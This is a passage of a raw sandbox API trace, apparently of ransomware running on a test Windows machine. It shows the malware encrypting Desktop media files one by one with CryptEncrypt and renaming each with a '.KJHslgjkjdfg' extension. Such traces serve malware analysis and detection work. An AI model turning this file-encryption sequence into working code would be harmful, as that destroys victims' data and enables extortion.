dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.257] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.257] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.257] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdaba, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0xdaba, lpOverlapped=0x0) returned 1 [0127.258] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0xdac0, dwBufLen=0xdac0 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0xdac0) returned 1 [0127.258] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.258] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0xdac0, lpOverlapped=0x0) returned 1 [0127.259] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.259] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0xdba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.259] SetEndOfFile (hFile=0xb8) returned 1 [0127.262] GetProcessHeap () returned 0x2a0000 [0127.262] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.262] GetProcessHeap () returned 0x2a0000 [0127.262] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.262] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\dbb7VVrVqOrPxNo5aE5.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\dbb7vvrvqorpxno5ae5.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\dbb7VVrVqOrPxNo5aE5.avi.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\dbb7vvrvqorpxno5ae5.avi.kjhslgjkjdfg")) returned 1 [0127.263] CloseHandle (hObject=0xb8) returned 1 [0127.263] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d7010, ftCreationTime.dwHighDateTime=0x1d5d81d, ftLastAccessTime.dwLowDateTime=0xe20ac9d0, ftLastAccessTime.dwHighDateTime=0x1d5e0e8, ftLastWriteTime.dwLowDateTime=0xe20ac9d0, ftLastWriteTime.dwHighDateTime=0x1d5e0e8, nFileSizeHigh=0x0, nFileSizeLow=0x39de, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="jE9Dkbgbt8ntp.bmp", cAlternateFileName="JE9DKB~1.BMP")) returned 1 [0127.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\jE9Dkbgbt8ntp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\je9dkbgbt8ntp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.263] GetProcessHeap () returned 0x2a0000 [0127.263] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.263] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.263] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.264] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x2, lpOverlapped=0x0) returned 1 [0127.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.265] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.265] GetProcessHeap () returned 0x2a0000 [0127.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.265] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40) returned 1 [0127.265] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.265] WriteFile (in: hFile=0xb8, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fa08*=0x40, lpOverlapped=0x0) returned 1 [0127.265] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.265] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.265] WriteFile (in: hFile=0xb8, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.265] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.265] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.265] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.265] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.266] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x39de, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x39de, lpOverlapped=0x0) returned 1 [0127.266] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x39e0, dwBufLen=0x39e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x39e0) returned 1 [0127.266] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.266] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x39e0, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x39e0, lpOverlapped=0x0) returned 1 [0127.266] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.266] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x3ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.266] SetEndOfFile (hFile=0xb8) returned 1 [0127.269] GetProcessHeap () returned 0x2a0000 [0127.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.269] GetProcessHeap () returned 0x2a0000 [0127.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.269] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\jE9Dkbgbt8ntp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\je9dkbgbt8ntp.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\jE9Dkbgbt8ntp.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\je9dkbgbt8ntp.bmp.kjhslgjkjdfg")) returned 1 [0127.270] CloseHandle (hObject=0xb8) returned 1 [0127.270] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89cc570, ftCreationTime.dwHighDateTime=0x1d5db31, ftLastAccessTime.dwLowDateTime=0x841fff90, ftLastAccessTime.dwHighDateTime=0x1d5e46f, ftLastWriteTime.dwLowDateTime=0x841fff90, ftLastWriteTime.dwHighDateTime=0x1d5e46f, nFileSizeHigh=0x0, nFileSizeLow=0xd40f, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="KRlIGanfuQwVeE.mp4", cAlternateFileName="KRLIGA~1.MP4")) returned 1 [0127.270] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\KRlIGanfuQwVeE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\krliganfuqwvee.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.270] GetProcessHeap () returned 0x2a0000 [0127.270] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.270] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.270] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.270] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x1, lpOverlapped=0x0) returned 1 [0127.271] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.271] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.271] GetProcessHeap () returned 0x2a0000 [0127.271] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.272] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40) returned 1 [0127.272] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.272] WriteFile (in: hFile=0xb8, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fa08*=0x40, lpOverlapped=0x0) returned 1 [0127.272] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.272] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.272] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.272] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.272] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.272] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.272] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.272] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.272] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd40f, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0xd40f, lpOverlapped=0x0) returned 1 [0127.273] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0xd410, dwBufLen=0xd410 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0xd410) returned 1 [0127.274] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.274] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd410, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0xd410, lpOverlapped=0x0) returned 1 [0127.274] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.274] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0xd4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.274] SetEndOfFile (hFile=0xb8) returned 1 [0127.290] GetProcessHeap () returned 0x2a0000 [0127.290] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.290] GetProcessHeap () returned 0x2a0000 [0127.290] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.290] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\KRlIGanfuQwVeE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\krliganfuqwvee.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\KRlIGanfuQwVeE.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\krliganfuqwvee.mp4.kjhslgjkjdfg")) returned 1 [0127.293] CloseHandle (hObject=0xb8) returned 1 [0127.293] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7acffa0, ftCreationTime.dwHighDateTime=0x1d5e5bc, ftLastAccessTime.dwLowDateTime=0x83eb24d0, ftLastAccessTime.dwHighDateTime=0x1d5dcd8, ftLastWriteTime.dwLowDateTime=0x83eb24d0, ftLastWriteTime.dwHighDateTime=0x1d5dcd8, nFileSizeHigh=0x0, nFileSizeLow=0xc317, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="lFN3zf5aXfg7HN _j.wav", cAlternateFileName="LFN3ZF~1.WAV")) returned 1 [0127.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\lFN3zf5aXfg7HN _j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\lfn3zf5axfg7hn _j.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.294] GetProcessHeap () returned 0x2a0000 [0127.294] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.294] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.294] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.294] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x9, lpOverlapped=0x0) returned 1 [0127.295] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.295] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.295] GetProcessHeap () returned 0x2a0000 [0127.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.295] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50) returned 1 [0127.295] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.295] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fa08*=0x50, lpOverlapped=0x0) returned 1 [0127.296] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.296] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.296] WriteFile (in: hFile=0xb8, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.296] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.296] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.296] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.296] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.296] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.296] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc317, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0xc317, lpOverlapped=0x0) returned 1 [0127.297] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0xc320, dwBufLen=0xc320 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0xc320) returned 1 [0127.298] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.298] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc320, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0xc320, lpOverlapped=0x0) returned 1 [0127.298] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.298] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0xc404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.298] SetEndOfFile (hFile=0xb8) returned 1 [0127.302] GetProcessHeap () returned 0x2a0000 [0127.302] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.302] GetProcessHeap () returned 0x2a0000 [0127.302] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.302] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\lFN3zf5aXfg7HN _j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\lfn3zf5axfg7hn _j.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\lFN3zf5aXfg7HN _j.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\lfn3zf5axfg7hn _j.wav.kjhslgjkjdfg")) returned 1 [0127.306] CloseHandle (hObject=0xb8) returned 1 [0127.306] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd154d0, ftCreationTime.dwHighDateTime=0x1d5d7b7, ftLastAccessTime.dwLowDateTime=0x9e2c75b0, ftLastAccessTime.dwHighDateTime=0x1d5d81e, ftLastWriteTime.dwLowDateTime=0x9e2c75b0, ftLastWriteTime.dwHighDateTime=0x1d5d81e, nFileSizeHigh=0x0, nFileSizeLow=0x134e9, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Q-l-sU3Aq.mp3", cAlternateFileName="Q-L-SU~1.MP3")) returned 1 [0127.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\Q-l-sU3Aq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\q-l-su3aq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.306] GetProcessHeap () returned 0x2a0000 [0127.306] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.306] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.306] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.306] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x7, lpOverlapped=0x0) returned 1 [0127.308] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.308] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.308] GetProcessHeap () returned 0x2a0000 [0127.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.308] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40) returned 1 [0127.308] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.308] WriteFile (in: hFile=0xb8, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fa08*=0x40, lpOverlapped=0x0) returned 1 [0127.308] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.308] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.309] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.309] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.309] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.309] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.309] CryptSetKeyParam (hKey=0x2c62e0, 